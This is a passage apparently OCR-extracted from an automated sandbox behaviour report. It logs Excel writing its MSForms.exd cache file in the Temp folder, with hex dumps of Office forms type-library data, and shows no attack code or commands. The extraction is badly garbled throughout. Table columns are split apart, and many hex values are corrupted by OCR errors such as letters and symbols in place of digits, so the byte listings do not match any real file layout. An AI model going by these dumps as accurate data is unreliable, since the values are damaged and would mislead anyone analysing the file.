mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 09 04 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 2 51 00 Q. success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 2 02 00 . success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 06 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 91 00 00 00 success or wait 1 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 580

unknown 16

unknown 16

unknown 16

00 00 00 00

00 00 00 00

00 00 00 00

do 02 00 00

08 24 00 00

00 00 00 00

24 00 00 00

ff ff ff ff

20 00 00 00

80 00 00 00

0d 00 00 00

a2 01 00 00

00 00 00 00 64
00 00 00 c8 00 00

Ascii

00 2¢ 01 00 00 90 ....
010000f40100 ...
0058 02 00 00 bc ...

02 00 00 20 03
00 00 84 03 00

00e80300004c ...

04 00 00 b0 04
00 00 14 05 00
00 78 05 00 00
dc 05 00 00 40
06 00 00 a4 06
00 00 08 07 00
00 6¢ 07 00 00 dO
07 00 00 34 08
00 00 98 08 00
00 fc 08 00 00 60
09 00 00 c4 09

00 00 28 0a 00
00 8c 0a 00 00 fO
0a 00 00 54 Ob
00 00 b8 Ob 00
00 1c Oc 00 00 80
0c 00 00 e4 Oc 00
00 48 0d 00 00
ac 0d 00 00 10
Oe 00 00 74 Oe
00 00 d8 Oe 00
00 3c 0f 00 00 a0
0f 00 00 04 10 00
00 68 10 00 00 cc
10000030 11
00 00 94 11 00
00 f8 11 00 00 5¢
1200 00 c0 12 00
00 24 13 00 00
88130000 ec 13
00 00 50 14 00
00 b4 14 00 00
181500 00 7¢c
1500 00 €0 15
00 00 44 16 00
00 a8 16 00 00 Oc
170000 70 17
00 00 d4 17 00
00 38 18 00 00 9¢c
18 00

ff ff ff ff a4 38 00
00 ff ff ff ff Of 00
00 00

ff ff f ff 00 14 00
00 98 13 00 00 Of
00 00 00

ff ff ff ff 48 00 00
00 34 00 00 00 of
00 00 00

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

1

1

Source

Address

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

16

14500

ff ff f ff 00 06 00
00 d0 03 00 00 of
00 00 00

ff ff ff ff 80 00 00
00 ff ff ff ff Of 00
00 00

ff ff f ff 00 10 00
00 a0 Oe 00 00 Of
00 00 00

ff ff f ff 00 02 00
00 ff ff ff ff Of 00
00 00

ff ff f ff 00 78 00
00 f8 49 00 00 Of
00 00 00

ff ff f ff 00 Ob 00
00 54 06 00 00 Of
00 00 00

ff ff f ff 00 20 00
00 50 19 00 00 of
00 00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

ff ff f ff 20 00 00
00 18 00 00 00 Of
00 00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

26 21 00 00 ff ff ff
ff 00 00 00 00 00
00 00 00 03 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 18 00 00 00
00 0000 00 14
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 04 00
00 00 03 00 03
80 00 00 00 00
00 00 00 00 ff ff ff
ff 26 21 01 00 ff ff
ff ff 00 00 00 00
00 00 00 00 03
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 30 00 00
00 00 00 00 00 2c
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 04 00
00 00 03 00 03
80 00 00 00 00
00 00 00 00 ff ff ff
ff a6 10 02 00 ff ff
ff ff 00 00 00 00
00 00 00 00 03
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 48 00 00
00 00 00 00 00
4400 00

&l.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Te unknown 128 c80d 0000807 ........ (oeeeen @...(..x..@. success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 00 28 0e 00

00 10 08 00 00
40 Oe 00 00 28
08 00 00 78 Oc 00
00 40 08 00 00
d0 Ob 00 00 98
0d 00 00 e8 Ob
00 00 98 0a 00
00 68 0d 00 00 cO
Oc 00 00 18 Oc 00
00 88 08 00 00
90 09 00 00 10
Oe 00 00 88 Oe
00 00 58 Ob 00
00 40 0b 00 00
28 0b 00 00 70
Oe 00 00 08 0d
00 00 88 05 00
00 58 Oe 00 00
90 Oc 00 00 e0 Oa
00 00 50 0d 00
00 20 0d 00 00

b8 Ob 00 00 d8 Oc
00 00

C:\Users\user\AppData\Local\Te unknown 3744 be 6b 91 8d 9b k.. IL$.EG..T...

mp\Excel8.0\MSForms.exd b8 6c 4c 91 24 01 .
45 47 05 1e 54 fe .0..
ff ff ff ff f ff ff O1 .
43 50 66 Of be 1a ....
10 8b bb 00 aa
00 30 Oc ab 00 00 .k.i
00 00 ff ff ff ff 13
43 50 66 0f be 1a
10 8b bb 00 aa
00 30 Oc ab 64 00
00 00 00 00 00
00 0b 43 50 66 Of
be 1a 10 8b bb
00 aa 00 30 Oc ab
€8 00 00 00 ff ff ff
ff 02 €0 6 be 74
a8 1a 10 8b ba
00 aa 00 30 Oc
ab 2c 01 00 00 ff
ff ff ff 03 e0 f6 be
74 a8 1a 10 8b
ba 00 aa 00 30 Oc
ab 90 01 00 00 ff
ff ff ff 20 47 bb 10
97 f7ce 11 b9 ec
00 aa 00 6b 1a
69 f4 01 00 00 ff
ff ff ff €0 03 Oc 57
97 f7 ce 11 b9 ec
00 aa 00 6b 1a
69 58 02 00 00 ff
ff ff ff 90 f5 72 ec
7513 ce 11 b9 e8
00 aa 00 6b 1a
69 bc 02 00 00 ff
ff ff ff 70 23 b0 82
bc b5 cf 11 81 0f
00 a0 c9 03 00 74
20 03 00 00 ff ff ff
ff 71 23 b0 82 bc
b5 cf 11 81 0f 00
a0 c9 03 00

CPf.. success or wait 1 7FEEACDFDDC unknown

Copyright null 2021 Page 38 of 67



Source

File Path Offset Length Value Ascii Completion Count Address Symbol
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 5016

unknown 52

00 00 01 03 00
00 00 00 c8 0d 00
0001000103
00 00 00 00 e0
0d 00 00 02 00
00 01 00 00 00
00 00 00 00 00
03 00 00 01 00
00 00 00 00 00
00 00 04 00 00
01 00 00 00 00
00 00 00 00 05
00 00 01 00 00
00 00 01 00 00
00 06 00 00 01
00 00 00 00 02
00 00 00 07 00
00 01 00 00 00
00 00 00 00 00
08 00 00 01 00
00 00 00 00 00
00 00 09 00 00
01 00 00 00 00
00 00 00 00 Oa
00 00 01 00 00
00 00 01 00 00
00 Ob 00 00 01
00 00 00 00 02
00 00 00 Oc 00 00
01 00 00 00 00
00 00 00 00 0Od
00 00 01 00 00
00 00 00 00 00
00 Oe 00 00 01
00 00 00 00 00
00 00 00 0f 00 00
01 00 00 00 00
01 0000 00 10
00 00 01 00 00
00 00 02 00 00
0011 00 00 01
00 00 00 00 00
00 00 00 12 00
00 01 00 00 00
00 00 00 00 00
13 00 00 01 00
00 00 00 00 00
00 00 14 00 00
01 00 00 00 00
01 0000 00 15
00 00

b0 0d 00 00 00
00 00 00 02 00
0000 2d 00 73
74 64 6f 6¢ 65 32
2e 74 6¢ 62 57 57
57 10 Oe 00 00
00 00 00 00 01
00 07 00 25 00
45 58 43 45 4c 2e
45 58 45 57

.stdole2.tlbWWW..

%.EXCEL.EXEW

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEACDFDDC unknown

7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 512

804100 00 48
220000 64 30
00 00 b4 49 00
00 f0 47 00 00 80
3c 00 00 00 2e
00 00 64 45 00
0038410000c8
47000090 30
00 00 d8 49 00
00 b4 29 00 00
d8 48 00 00 7c 46
00 00 6¢ 3d 00
00 2c 42 00 00 fO
2100 00 d8 3b
00 00 50 47 00
00 54 46 00 00
54 43 00 00 54
3e 00 00 e0 2c 00
00 6¢ 3¢ 00 00 4c
3a 00 00 2c 44 00
00 78 38 00 00
b4 45 00 00 24
47 00 00 8c 45
00 00 1c 43 00 00
20 49 00 00 90
49 00 00 34 30
00 00 30 40 00
00 9c 42 00 00 b8
4400 00 28 3e
00 00 b8 3f 00 00
40 42 00 00 20
4500 00 a4 47
00 00 b0 43 00
00 c8 32 00 00 20
410000 18 48
00 00 68 44 00
00 c8 45 00 00 10
26 00 00 c8 2f 00
00 54 2b 00 00
1832 00 00 c0 41
00 00 c0 40 00 00
a0 34 00 00 b4
2b 00 00 a8 40
00 00 74 3b 00
00 b8 2¢ 00 00 78
45 00 00 d8 40
00 00 30 46 00
00 08 3f 00

Ascii Completion

A.H"..dO...I..G...<....dE success or wait
.8A..G...0...I...)..H..|F..

I=..,B .PG.TF.TC..T
>..,.I<.Li.,D..x8...E.$G..

.E...C.. 1...1..40..0@...B...D
.(>..?.@B..E..G...C..2..
A..H.hD..E..&..[.T+..2

LAL@.AL @

xE...@..0F...2.

Source

Count Address Symbol

1

7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

Length Value Ascii

unknown 18936  ff ff ff ff ff ff ff ff 07 .......... C.MSFormsW.........

0043 0f4d 5346 8

6f 72 6d 7357 00 ..OLE_COLORWW\WA......
00 00 00 ff ff ff ff ..8(0OLE_

09 38 e4 f5 4f 4c  HANDLEWW......... 8.WOL
45 5f 43 4f 4c 4f  E_OPTEXC

52575757 64  LUSIVE,........ 8..IFontWww
00 00 00 ff ff ff ff  W.........
Oa 38 28 6f 4f 4c  (U.Font..
45 5f 48 41 4e 44 EffectX..
4c 455757 ¢800 ..... 8.kIDataAutoWrapper
00 00 ff ff ff ff 10 ...

38 c2 57 4f 4c 45 ...8.VIReturnintegerWW....
5f 4f 50 54 45 58 .....8.9IReturnBool

43 4¢ 55 53 49

56 45 2¢ 01 00 00

ff ff ff ff 05 38 Of

ce 49 46 6f 6e 74

57 57 57 90 01

00 00 ff ff ff ff 04

28 55 10 46 6f 6e

74 f4 01 00 00 ff

ff ff ff Oc 38 a9 2a

66 6d 44 72 6f 70

45 66 66 65 63

74 58 02 00 00 ff

ff ff ff 08 38 8¢ 62

66 6d 41 63 74

69 6f 6e bc 02 00

00 ff ff ff ff 10 38

8f 6b 49 44 61 74

614175 74 6f 57

726170 70 65

72 20 03 00 00 ff

ff ff ff Oe 38 dc 56

4952 65 74 75

72 6e 49 6e 74

65 67 65 72 57

57 84 03 00 00 ff

ff ff ff Oe 38 e0 39

4952 65 74 75

72 6e 42 6f 6f 6¢

....8.*fmDrop

...8.bfmAction....

Completion

success or wait

Source
Count Address

Symbol

1 7FEEACDFDDC unknown

Page 42 of 67



Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Te unknown 1620 2200 4d 69 63 ".Microsoft Forms 2.0 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 72 6f 73 6f 66 74 Object L

20 46 6f 72 6d 73 ibrary..C:\Windows\system
20 32 2e 30 20 4f 32\fm

62 6a 656374  20.hlpWW..NoneWW..Cop
20 4c 69 62 72 61 yWW..Move

7279 1c 00 43 3a WW..CopyOrMove..CutW
5c 57 69 6e 64 6f WW..PasteW

77 73 5c 7379 73 ..DragDropWW..InheritWW
74 65 6d 33 32 5¢ W..OnWW

66 6d32302e  WW..Off WWW..Defaultw
68 6¢ 70 57 57 04 WW..Arrow\W

00 4e 6f 6e 65 57 ..CrossW..IBeamW..SizeN
57 04 00 43 6f 70 ESWWW..
7957570400  SizeNS..SizeNWSEWW..
4d 6f 76 65 57 57 SizeWE..Up

0a 00 43 6f 70 79 ArrowWWW..HourG

4f 72 4d 6f 76 65

0300437574

57 57 57 05 00

50 61 73 74 65

57 08 00 44 72

61 67 44 72 6f 70

57 57 07 00 49

6e 68 65 72 69

74 57 57 57 02

00 4f 6e 57 57 57

57 03 00 4f 66 66

57 57 57 07 00

44 65 66 61 75 6C

74 57 57 57 05

004172726f77

57 05 00 43 72 6f

73 73 57 05 00

49 42 65 61 6d

57 08 00 53 69

7a 65 4e 45 53

57 57 57 06 00

53 69 7a 65 4e

53 08 00 53 69

7a 65 4e 57 53

4557 57 06 00

53 69 7a 65 57

45 07 00 55 70

4172 72 6f 77 57

57 57 09 00 48 6f

7572 47
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Source

File Path Offset Length Value Completion Count Address Symbol

C:\Users\user\AppData\Local\Te unknown 6480 1a 00 08 40 08
mp\Excel8.0\MSForms.exd 00 08 80 1a 00

06 40 06 00 06

80 1a 00 Ob 40

Ob 00 Ob 80 1a

00 02 40 02 00

02 80 1d 00 ff 7f

64 00 00 00 1a

00ff 7200000 ............ m..

00 1d 00 ff 7f 2¢

01 00 00 1a 00 ff

7f30 00 00 00 1a

00 ff 7f 38 00 00

00 1d 00 ff 7f 19

00 00 00 1a 00 ff

7f 48 00 00 00 1a

00 00 40 18 00

00 80 1a 00 fe 7f

58 00 00 00 1a

00 13 40 17 00

13 80 1d 00 ff 7f

250000 00 1a

00 ff 7f 70 00 00

00 1a 00 10 40

1000 10 80 1a

00 fe 7f 80 00 00

00 1a 00 03 40

030003 80 1d

00 ff 7f 31 00 00

00 1a 00 ff 7f 98

00 00 00 1d 00 ff

7f 3d 00 00 00 1a

00 ff 7f a8 00 00

00 1a 00 Oc 40 Oc

00 Oc 80 1d 00 ff

7f 49 00 00 00 1a

00 ff 7f cO 00 00

00 1d 00 03 00 f4

01 00 00 1d 00 ff

7f55 00 00 00 1la

00 ff 7f d8 00 00

00 1d 00 ff 7f 61

00 00 00 1a 00 ff

7f e8 00 00 00 1d

00 ff 7f 6d 00 00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Te unknown 24 03 00 fe ff ff ff 57 ... WW.....WW.....WW  success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 57 03 00 ff ff ff ff

57 57 03 00 cd ef

ff ff 57 57

C:\Users\user\AppData\Local\Te unknown 4 2403 00 00 $... success or wait 107 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 2 24 00 $. success or wait 3625 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 22 00 00 19 00 19

mp\Excel8.0\MSForms.exd 80 00 00 00 00
Oc 00 4c 00 11 44
01 00 01 00 00
00

success or wait 3426 T7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Te unknown 12 00000000hb0  ............ success or wait 1841 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd Oe 00 00 0a 00
00 00

C:\Users\user\AppData\Local\Te unknown 88 0000000000  cooeeeieieieeie e success or wait 107 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd 00 00 00 02 00
00 00 02 00 00
00 03 00 00 00
03 00 00 00 04
00 00 00 04 00
00 00 05 00 00
00 05 00 00 00
06 00 00 00 06
00 00 00 07 00
00 00 07 00 00
00 08 00 00 00
08 00 00 00 10
00 01 60 11 00
01 60 12 00 01
60 13 00 01 60
14 00 01 60 15
00 01 60
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value Ascii Completion

unknown 88

unknown 88

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 2

unknown 2

unknown 2

unknown 2

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

Source
Count Address Symbol

a00e 0000a0  ...cccceoeeeviiiciieine
0e 00 00 c4 Oe 00 ..4..4..d...d....
00 c4 Oe 00 00 e8
Oe 00 00 e8 Oe
00 00 Oc 0f 00 00
Oc Of 00 00 34 0f
00 00 34 0f 00 00
64 0f 00 00 64 Of
00 00 9c 0f 00 00
9c 0f 00 00 c4 of
00 00 c4 0f 00 00
ec 0f 00 00 14 10
00 00 3c 10 00 00
68 10 00 00 ac

10 00 00 c4 10 00
00

success or wait 107 7FEEACDFDDC unknown

00 00 00 00 24
00 00 00 48 00 5
00006¢c 000000 ...@...d......ccccvenen
90 00 00 00 b4

00 00 00 d8 00

00 00 fc 00 00 00

20 01 00 00 44

01 00 00 68 01

00 00 8¢ 01 00 00

b0 01 00 00 d4

01 00 00 f8 01 00

00 1c 02 00 00

40 02 00 00 64

02 00 00 88 02

00 00 ac 02 00 00

dc 02 00 00 00

success or wait 107 7FEEACDFDDC unknown

03 00 00

4d 53 46 54 MSFT success or wait 1 7FEEACDFDDC unknown
02 00 01 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
09 04 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
51 00 Q. success or wait 1 7FEEACDFDDC unknown
00 00 . success or wait 1 7FEEACDFDDC unknown
02 00 . success or wait 1 7FEEACDFDDC unknown
00 00 . success or wait 1 7FEEACDFDDC unknown
06 00 00 00 success or wait 1 7FEEACDFDDC unknown
91 00 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
d0 02 00 00 success or wait 1 7FEEACDFDDC unknown
08 24 00 00 $.. success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
2400 00 00 $... success or wait 1 7FEEACDFDDC unknown
ff ff ff ff success or wait 1 7FEEACDFDDC unknown
20 00 00 00 success or wait 1 7FEEACDFDDC unknown
80 00 00 00 success or wait 1 7FEEACDFDDC unknown
0d 00 00 00 success or wait 1 7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

unknown

unknown 580

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value Ascii

4

Completion

a2 01 00 00 success or wait

00 00 00 00 64
00 00 00 c8 00 00 .
00 2¢ 01 00 00 90 ....
010000f40100 ...
0058 02 00 00 bc ...
02 00 00 20 03
00 00 84 03 00
00e80300004c ...
04 00 00 b0 04
00 00 14 05 00
00 78 05 00 00

dc 05 00 00 40

06 00 00 a4 06
00 00 08 07 00
00 6¢ 07 00 00 dO
07 00 00 34 08
00 00 98 08 00
00 fc 08 00 00 60
09 00 00 c4 09

00 00 28 0a 00
00 8c 0a 00 00 fO
0a 00 00 54 Ob
00 00 b8 Ob 00
00 1c Oc 00 00 80
0c 00 00 e4 Oc 00
00 48 0d 00 00

ac 0d 00 00 10
Oe 00 00 74 Oe
00 00 d8 Oe 00
00 3c 0f 00 00 a0
0f 00 00 04 10 00
00 68 10 00 00 cc
1000003011
00 0094 11 00
00 f8 11 00 00 5¢
12 00 00 c0 12 00
00 24 13 00 00
88130000 ec 13
00 00 50 14 00
00 b4 14 00 00
18 1500 00 7¢c
1500 00 €0 15
00 00 44 16 00
00 a8 16 00 00 Oc
170000 70 17
00 00 d4 17 00
00 38 18 00 00 9c
18 00

success or wait

88 03 00 00 a4
38 00 00 ff ff ff ff
0f 00 00 00

..... L

success or wait

1c 400009813 .O..............
00 00 ff ff ff ff Of
00 00 00

success or wait

b4 62 00 00 34
00 00 00 ff ff ff ff
0f 00 00 00

b4 success or wait

4c 4b 00 00 dO Lo
03 00 00 ff ff ff ff
0f 00 00 00

success or wait

2c3c 00008000 <. success or wait
00 00 ff ff ff ff Of

00 00 00

ac 3¢ 00 00 a0 Oe .<..............
00 00 ff ff ff ff Of
00 00 00

success or wait

e8 62 00 00 00 .b.
02 00 00 ff ff ff ff
0f 00 00 00

success or wait

e8640000f849 .d..l.....
00 00 ff ff ff ff Of
00 00 00

success or wait

e0 ae 00 00 54
06 00 00 ff ff ff ff
0f 00 00 00

T success or wait

34 b5 00 00 50
19 00 00 ff ff ff ff
0f 00 00 00

4P, success or wait

ffffffff000000 ................
00 ff ff ff ff Of 00
00 00

success or wait

Source

Count Address

1

1

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

Length Value Ascii

16

14500

841ce]00I00M8|00 Ranmna e
00 00 ff ff ff ff Of
00 00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

ffffffff000000 ................
00 ff ff ff ff Of 00
00 00

ffffffff000000 ................
00 ff ff ff ff Of 00
00 00

00 00 00 00 00
00 00 00 00 00
03 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 18 00
00 00 00 00 00
00 14 00 00 00
00 00 00 00 ff ff f
ff 00 00 00 00 00
00 00 00 ff ff ff f
00 00 00 00 04
00 00 00 03 00
03 80 00 00 00
00 00 00 00 00 ff
ff ff ff 26 21 01 00
9c ce 00 00 00 00
00 00 00 00 00
00 03 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 30
00 00 00 00 00
00 00 2¢ 00 00 00
00 00 00 00 ff ff f
ff 00 00 00 00 00
00 00 00 ff ff ff f
00 00 00 00 04
00 00 00 03 00
03 80 00 00 00
00 00 00 00 00 ff
ff ff ff a6 10 02 00
9c ce 00 00 00 00
00 00 00 00 00
00 03 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 48
00 00 00 00 00
00 00 44 00 00

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address

1

1

1

1

1

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

Symbol

unknown

unknown

unknown

